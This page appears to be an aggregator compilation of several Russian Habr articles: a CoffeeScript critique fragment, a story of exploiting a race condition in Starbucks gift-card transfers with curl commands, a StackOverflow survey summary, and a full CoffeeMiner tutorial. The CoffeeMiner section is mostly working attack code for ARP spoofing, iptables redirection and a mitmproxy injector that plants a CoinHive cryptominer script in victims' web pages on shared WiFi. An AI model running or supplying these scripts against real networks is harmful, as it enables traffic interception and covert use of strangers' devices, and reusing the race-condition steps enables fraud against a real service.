Тем временем с Coffee всё наоборот. Что за фигня происходит в скомпилированном JavaScript-коде? Я понятия не имею. Для меня это чёрный ящик. Я не люблю чёрные ящики. Они чёрные и в форме куба. И это всё, что я знаю о чёрных ящиках, они ничего не говорят мне о том, что происходит внутри. Написание JavaScript-кода автоматически означает, что у нас есть полный контроль над тем, что мы делаем, и это дорогого стоит. И напоследок ещё кое-что. Как вы собираетесь использовать ES6, когда он выйдет? Насколько я знаю, он сломает CoffeeScript таким, каким мы знаем его сейчас, и это как бы отстой. Это значит, что вы либо застрянете в языке, который не может использовать последние возможности JavaScript, либо вам придётся перелопатить тонны кода и вернуться к тому, с чего начали. Что касается меня, я лучше не буду запирать себя на замок языком, старающимся помочь мне писать хороший код.

Моё предложение к вам состоит даже не в том, чтобы перестать использовать CoffeeScript, но быть более внимательными к тем, кто ничего не знает о вашем прелестном языке. Всегда компилируйте свой код в JavaScript перед тем, как задавать вопрос на StackOverflow, или отвечать на пост в блоге. Возможно, вы даже узнаете что-то о самом JavaScript.

habrahabr.ru

Как я взломал Starbucks для безлимитного кофе / Хабрахабр

Это история о том, как я нашел способ нагенерить неограниченное число денег на подарочные карты старбакса, тем самым обеспечить себе пожизненный бесплатный кофе, ну или украсть у них пару миллионов другими способами.

Итак, не так давно мне в голову пришла идея купить 3 карты Старбакса по $5 каждая.

На сайте starbucks.com есть личный кабинет, где можно добавить эти карты, смотреть баланс и даже переводить деньги между картами.

Есть такой малоизвестный класс уязвимостей «race condition». Могу с уверенностью заявить, что большинство приложений, которые могут быть уязвимы, к этой атаке скорее всего уязвимы, ведь далеко не каждый программист при проектировке программ учитывает такие факторы, как параллельность выполнения кода и его последствия.

В веб-приложениях он тоже встречается, обычно в функциях связанных с переводом денег/очков/фантиков/ваучеров. Обо всех тонкостях эксплуатации я расскажу в другой раз, а пока вернемся к переводу между картами в Старбаксе.

Перевод строился из нескольких stateful запросов. Схематично — первый запрос POST /step1?amount=1&from=wallet1&to=wallet2 закладывал все эти значения в сессию на сервере, и лишь второй POST/step2?confirm переводил данные уже заложенные в сессии и очищал ее.

Это существенно усложняет эксплуатацию относительно классической гонки, где нужно лишь повторить один и тот же запрос несколько раз одновременно. Ведь как только первый запрос очищает сессию, второй уже натыкается на пустую сессию! И чтобы как-то заставить это работать, пришлось бы делать сложную композицию запросов, записывающую в сессию сразу после ее очищения первым запросом и перед выполнением второго запроса. Такое могло бы сработать раз из миллиона попыток, или вообще не сработать.

Но всегда есть обход для таких «полу защит» — можно залогиниться в один и тот же аккаунт с двух разных браузеров / сессий. Тогда эксплуатация выглядит приблизительно так:

#закладываем параметры перевода в обе сессии curl starbucks/step1 -H «Cookie: session=session1» --data «amount=1&from=wallet1&to=wallet2» curl starbucks/step1 -H «Cookie: session=session2» --data «amount=1&from=wallet1&to=wallet2» #одновременное одобрение перевода $1 с карты 1 на карту 2. curl starbucks/step2?confirm -H «Cookie: session=session1» & curl starbucks/step2?confirm -H «Cookie: session=session2» &

После 5 попыток ничего интересного не произошло и я хотел уже было сдаться. Особенность состояния гонки в том, что ее можно лишь попытаться найти стороннему атакующему, ведь неизвестно, какие защиты стоят (число запросов по IP? запросов на аккаунт? запросов на действие?) и единственный способ проверить уязвимы ли вы — это тщательно проаудировать исходный код на наличие должных пессимистических локов в базе данных.

На 6-ой запрос произошло чудо — перевод был произведен два раза и у меня стало две карты с 15 и 5 долларами, 20 в сумме. Чтобы считать это за proof of concept, осталось убедиться, что магазин примет эти карты.

Я пошел в ближайший работающий Cтарбакс на market st.

— Дайте мне чего-нибудь на $16. — O_o. — Ну что у вас самое дорогое? — Вон те сэндвичи.

Вышло $16.70.

Итак, в нашу маленькую операцию Ы было инвестировано 15 долларов, а закупок сделано на 16.70. Зная отношение самого гуманного суда США к хакерам, я вернувшись домой, сразу зачислил еще $10 с кредитки на карту Старбакса, чтобы не быть должным корпорации целых $1.70, мало ли.

Дальше самое сложное — процесс репорта. Саппорт честно ответил, что не может связать меня с технической командой, ну вообще никак, и им очень жаль, что я feel this way. Написал на [email protected] 23 марта, тишина (ответили, кстати, аж 29 апреля). Пришлось через знакомых знакомых находить людей, которым не все равно и лишь через 10 дней уязвимость была исправлена.

Спасибо никто не сказал, зато был сделан не двусмысленный намек, что я совершил «fraud» и «malicious actions» и что они еще подумают, что со мной сделать.

А что мог сделать я? Я мог запустить ферму из фейковых гифт-карт, купленных в разных магазинах мира, нагенерить на них кучу денег и продавать на специальных промо сайтах с 50 процентной скидкой (чтобы не вызывать подозрения) за биткоины. Так, проработав год-другой, можно было бы высосать пару миллионов долларов из этой дружелюбной фирмы со сладким кофе.

habrahabr.ru

Результаты ежегодного исследования StackOverflow — про технологии, зарплаты, счастье и кофе

Крупнейший международный портал разработчиков StackOverflow провёл ежегодный опрос. Участвовали более 26 тысяч человек из 157 стран. Результаты получились очень интересные.

Общая картина

Самая большая концентрация разработчиков на 1000 человек в Люксембурге, Исландии и Швеции. Средний возраст разработчика — 28.5 лет и его дата рождения приходится на апрель 1986 года. Женщин менее 6% и почти половина из них начали программировать лишь в последние 2 года. Больше всего слабый пол закатывает рукава и берется за код как бы вы думали где? Правильно, в Индии. Я уже представил себе картину: раннее утро, солнце заглядывает в окно, муж уснул на клавиатуре, а жена просыпается, отодвигает его и продолжает за него кодить, чтобы успеть к дедлайну. Ок, поехали дальше.

Open Source

Интересно и важно. Более 70% респондентов ведут работу по open-source проектам в объеме от 2 часов и более (в неделю). Если бы GitHub создавался в России, то он обязательно стимулировал бы отрабатывать полученный доступ к проектам. К примеру, подписка на год стоила бы за-merge-нных 10 коммитов. У нас с активной гражданской позицией пока не очень. Но всё больше и больше коллег я вижу на GitHub и это очень радует.

Технологии

JavaScript стал абсолютным победителем и в этом году! Из интересного — почти на 50% за год увеличилась популярность Node.js. Почти на треть увеличилось количество разработчиков Full-stack.

Интересно, что по сравнению с прошлым годом уменьшилось количество системных администраторов и разработчиков Enterprise-систем. Это можно связать с развитием рынка облачных решений и общего тренда на фрагментацию систем, когда создаются узко-профильные решения, которые могут быть прозрачно интегрированы между собой (JIRA, Basecamp, Slack, Zapier, AmoCRM). При такой модели принятие решение происходит снизу вверх — потребитель (сотрудник, отдел, департамент) выбирает, каким продуктом ему удобно пользоваться, а не топ-менеджмент, как это было раньше, внедряет неудобные системы «все-в-одном”. Таким образом убиваем двух зайцев — стартапам проще войти на рынок, а конечные потребители получают удобный продукт, который позволяет работать им более эффективно и с большим энтузиазмом. Итак, возвращаемся.

Зарплаты

Градация зарплат программистов (на руки, со всеми бонусами):
  1. Россия — $23 897
  2. Украина — $26 190
  3. США — $89 631
Для веб-разработчиков (среднее значение между JavaScript и Ruby):
  1. Восточная Европа — $26 628
  2. Западная Европа — $57 712
  3. США — $93 129
Как следствие (?) — Россия опережает весь мир по соотношению между “локальными” зарплатами программистов и тех, кто живёт в России, но работает удалённо. “Удалёнщики” на фул-тайм зарабатывают на 150% выше среднего, в то время (!), те, кто ни разу не работал удалённо, зарабатывают на 25% ниже среднего. Про удалённую работу ещё немного чуть позже.

А сейчас я сделаю акцент на том, что уровень зарплат PHP-программистов продолжает падать (особенно это заметно на рынке Западной Европы и США). На самом деле, это не повод радоваться тем, кто внедряет WordPress, Bitrix, Drupal и Joomla. Это сигнал того, что более опытные разработчики будут продолжать переходить на более высокооплачиваемые позиции (JavaScript, Ruby и т.д.), в то время, как в этом сегменте PHP будет возрастать концентрация Junior'ов. Как следствие — качество разработок на PHP будет падать.

Об этой тенденции я говорил ещё несколько лет назад. Но в нашей стране пока ещё преобладает стратегия “мы сейчас сейчас сэкономим и если взлетит, то перепишем” и “работает — не трогай” вместо “сделаем так классно, чтобы взлетело”. Помню, год назад дискутировали с приятелем, который прилетел после обучения в штатах и начал делать здесь свой стартап. Тогда он, даже будучи не программистом, эту тенденцию видел и начал делать всё на Node.js. Результат вышел отличный. Вообщем, делайте классно, учитывайте перспективу и вас ждёт успех!

Рекомендую позже ознакомиться с циклом OODA (Observe, Orient, Decide, Act). А пока продолжаем.

Удовлетворённость своей работой

Хорошая новость — программисты удовлетворены своей работой больше, чем другие сотрудники, работающие по найму. Причём, больше всех удовлетворение у программистов из Ирана, Нидерландов, Норвегии и Израиля. Если смотреть по позициям, то больше всех счастья у Executive (CTO, CIO), Machine Learning и iOS Mobile Developers. В то время, как меньше всех из отрасли удовлетворены product-менеджеры (интересно, почему?), BI-эксперты (ребят, а вы то чего приуныли?), разработчики графики и back-end веб-разработчики.

Удалённая работа

Как я и обещал, возвращаемся к этой теме. Главный результат — возможность удалённой работы в той или иной степени важно для 50% опрошенных. Главный вывод — компании, которые исключают возможность удалённой работы, сокращают пул потенциальных кандидатов в 2 раза.

Кофе

А теперь самое интересное — про кофе среди разработчиков. Лидерами стали Норвегия, Нидерланды и Швеция — там программист выпивает по 3 чашки кофе в день. В то время, как средний показатель по миру — 2.2 чашки кофе в день (видимо, понедельник начинается с двойной порции).

Меня результаты исследования впечатлили. А вас? Приглашаю в комментарии, обменяться мнением и поделиться своим видением.

Полные результаты опроса можно посмотреть здесь.

Всем хорошей недели!

habrahabr.ru

взлом WiFi для внедрения криптомайнера в HTML-страницы / Хабрахабр

Предупреждение: эта статья и проект имеют исключительно образовательные цели.

Несколько недель назад я прочитал об этом случае Starbucks, где хакеры взламывали ноутбуки в сети WiFi, чтобы майнить на них криптовалюту. И я подумал, что может быть интересно провести атаку иным способом.

Цель этой статьи — объяснить, как провести атаку MITM (человек посередине) для внедрения определённого JavaScript-кода в страницы HTML, чтобы заставить все устройства, подключённые к WiFi, майнить криптовалюту для злоумышленника.

Задача состоит в создании скрипта, который проводит автономную атаку в сети WiFi. Это то, что мы назвали CoffeeMiner, поскольку атаки такого типа можно проводить в кафе.

Мы рассматриваем ситуацию, в которой есть несколько машин, подключенных к сети WiFi, а злоумышленник с CoffeeMiner перехватывает трафик между пользователями и маршрутизатором.

1.1 Конфигурация сценария

Реальная ситуация — это маршрутизатор WiFi с подключенными ноутбуками и смартфонами. Мы проверили скрипт в этой ситуации из реального мира — и он работает. Но для этой статьи мы более подробно разберём, как установить его в виртуальном окружении.

Для реализации этого виртуального сценария будем использовать VirtualBox.

Первым делом нужно скачать какой-нибудь дисковый образ Linux и установить его на машине VirtualBox. В данном примере будем использовать образы Kali Linux.

После скачивания ISO-образа готовим три машины VBox с установленным образом Linux.

Для конфигурации описанного сценария нужно подготовить машины, выполняющие следующие роли:

  • Жертва
    • Машина, которая подключается к маршрутизатору и просматривает веб-страницы.
  • Злоумышленник
    • Машина, где запускается CoffeeMiner и осуществляется MITM-атака.
  • Маршрутизатор / шлюз
    • Работает как нормальный шлюз.

При выполнении атаки ситуация будет такой:

Для каждой машины используем следующую конфигурацию:

  • Жертва
  • Злоумышленник
  • Маршрутизатор / шлюз
    • сетевой адаптер:
      • eth0: Bridged Adapter
      • eth2: Host-only Adapter
    • /etc/network/interfaces:

      auto lo iface lo inet loopback

      auto eth0 iface eth0 inet dhcp

      auto eth2 iface eth2 inet static address 10.0.2.15 netmask 255.255.255.0

2.1. ARP-spoofing

Первым делом нужно понять, как осуществляется MITM-атака.

Из Википедии:

«В компьютерных сетях ARP-spoofing (ARP cache poisoning или ARP poison routing) — это техника, когда злоумышленник отправляет в локальную сеть (поддельные) сообщения по протоколу Address Resolution Protocol (ARP). В общем, цель состоит в связывании MAC-адреса злоумышленника с IP-адресом другого хоста, такого как шлюз по умолчанию, так что любой трафик для данного IP-адреса будет вместо этого направлен злоумышленнику».

Для осуществления атаки ARP-spoofing будем использовать библиотеку dsniff.

arpspoof -i interface -t ipVictim ipGateway arpspoof -i interface -t ipGateway ipVictim

2.2. mitmproxy

Mitmproxy — это программа для анализа и редактирования трафика, который проходит через хост. Мы будем использовать её для внедрения JavaScript на страницы HTML.

Для простоты процесса внедряем одну строку кода на HTML-страницы. Эта строка кода запускает криптомайнер:

<script src="http://httpserverIP:8000/script.js"></script>

2.3. Внедрение

Когда мы перехватили трафик жертвы, то можно внедрить в него наш скрипт. Для внедрения используем mitmproxy API:from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path)

2.4. HTTP-сервер

Как мы видели, инъектор добавляет в HTML-страницы одну строчку, с вызовом нашего криптомайнера на JavaScript. Так что нужно разместить файл скрипта на HTTP-сервере.

Чтобы выдать скрипт криптомайнера, запустим HTTP-сервер на машине злоумышленника. Для этого используем питоновскую библиотеку ‘http.server’:

#!/usr/bin/env python import http.server import socketserver import os PORT = 8000 web_dir = os.path.join(os.path.dirname(__file__), 'miner_script') os.chdir(web_dir) Handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(("", PORT), Handler) print("serving at port", PORT) httpd.serve_forever() Вышеприведённый код — это простой HTTP-сервер, который отправляем жертвам наш криптомайнер, когда те его запрашивают.

Майнер на JavaScript будет размещён в директории /miner_script. В нашем случае используется JavaScript-майнер CoinHive.

2.5. Криптомайнер CoinHive

CoinHive — это JavaScript-майнер для криптовалюты Monero (XMR). Его можно добавить на сайт и использовать вычислительные ресурсы CPU на компьютерах пользователей для вычисления хэшей по алгоритму Cryptonight PoW, с помощью которых майнится Monero по протоколу CryptoNote.

Использовать майнер CoinHive имеет смысл, если пользователь остаётся на веб-странице относительно продолжительное время. Так что, например, для сайта со средними сессиями по 40 секунд он не имеет особого смысла.

Поскольку мы внедряем майнер абсолютно на все страницы, то майнер будет работать на компьютерах жертв продолжительное время.

Основная задача — связать все описанные концепции в одну автономную установку. Это и будет CoffeeMiner.

Смысл в том, чтобы один скрипт CoffeeMiner осуществлял атаку ARP-spoofing и устанавливал mitmproxy для внедрения криптомайнера CoinHive в HTML-страницы жертв.

Сначала нужно сконфигурировать ip_forwarding и IPTABLES, чтобы машина злоумышленника работала как прокси:

echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Для проведения атаки ARP-spoofing для всех жертв подготавливаем файл ‘victims.txt’ с IP-адресами всех жертв. Считываем эти адреса несколькими строчками на Python (а также IP-адрес шлюза) — и проводим атаку ARP-spoofing для каждого IP-адреса жертвы.

# get gateway_ip gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip victims = [line.rstrip('\n') for line in open("victims.txt")] print("victims:") print(victims) # run the arpspoof for each victim, each one in a new console for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") После этого осталось запустить HTTP-сервер:

> python3 httpServer.py

И теперь можно запускать mitmproxy через injector.py:

> mitmdump -s 'injector.py http://httpserverIP:8000/script.js'

3.1. CoffeeMiner, окончательный скрипт

Теперь мы объединили все вышеописанные концепции в единый скрипт coffeeMiner.py:import os import sys #get gateway_ip (router) gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip victims = [line.rstrip('\n') for line in open("victims.txt")] print("victims:") print(victims) # configure routing (IPTABLES) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") # run the arpspoof for each victim, each one in a new console for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &") # start the mitmproxy os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T") А также скрипт injector.py:from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': print(flow.response.headers["content-type"]) script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path) И для начала атаки достаточно всего лишь запустить следующую команду:

> python3 coffeeMiner.py RouterIP

Для демонстрации используем виртуальный сценарий с VirtualBox, как описано выше.

Если хотим провести атаку вручную, то нам нужны следующие консоли:

Затем, когда атака ARP-spoofing завершена, а инъектор и HTTP-сервер готовы к запуску, мы можем зайти на виртуальную машину жертвы и открыть какой-нибудь сайт. Трафик жертвы пойдёт через компьютер злоумышленника и активирует инъектор:

В результате на всех HTML-страницах, которые просматривает жертва, будут присутствовать HTML-строчки кода, которые внедрил злоумышленник.

4.1. Демонстрационное видео

На следующих видеороликах можно увидеть все этапы операции с использованием скрипта coffeeMiner.py:
  • Демо VirtualBox:

  • Реальная сеть WiFi с подключёнными ноутбуками:

Как мы убедились, такую атаку легко осуществить. И может быть проведена автономная атака в сети WiFi.

Есть другая мысль, что в реальной сети WiFi лучше использовать мощную антенну WiFi для лучшего покрытия всего физического пространства.

Основная цель данной работы — проведение автономной атаки, но нам всё ещё нужно отредактировать файл victims.txt с IP-адресами жертв. В следующей версии можно добавить функцию автономного сканирования Nmap для добавления обнаруженных IP-адресов в список жертв CoffeeMiner. Ещё одна возможная функция — добавление sslstrip, чтобы гарантировать внедрение дополнительной строчки кода даже на страницах сайтов, которые пользователь запрашивает по HTTPS.

Полный код доступен в репозитории GitHub.

Предупреждение: эта статья и проект имеют исключительно образовательные цели.

habrahabr.ru


Смотрите также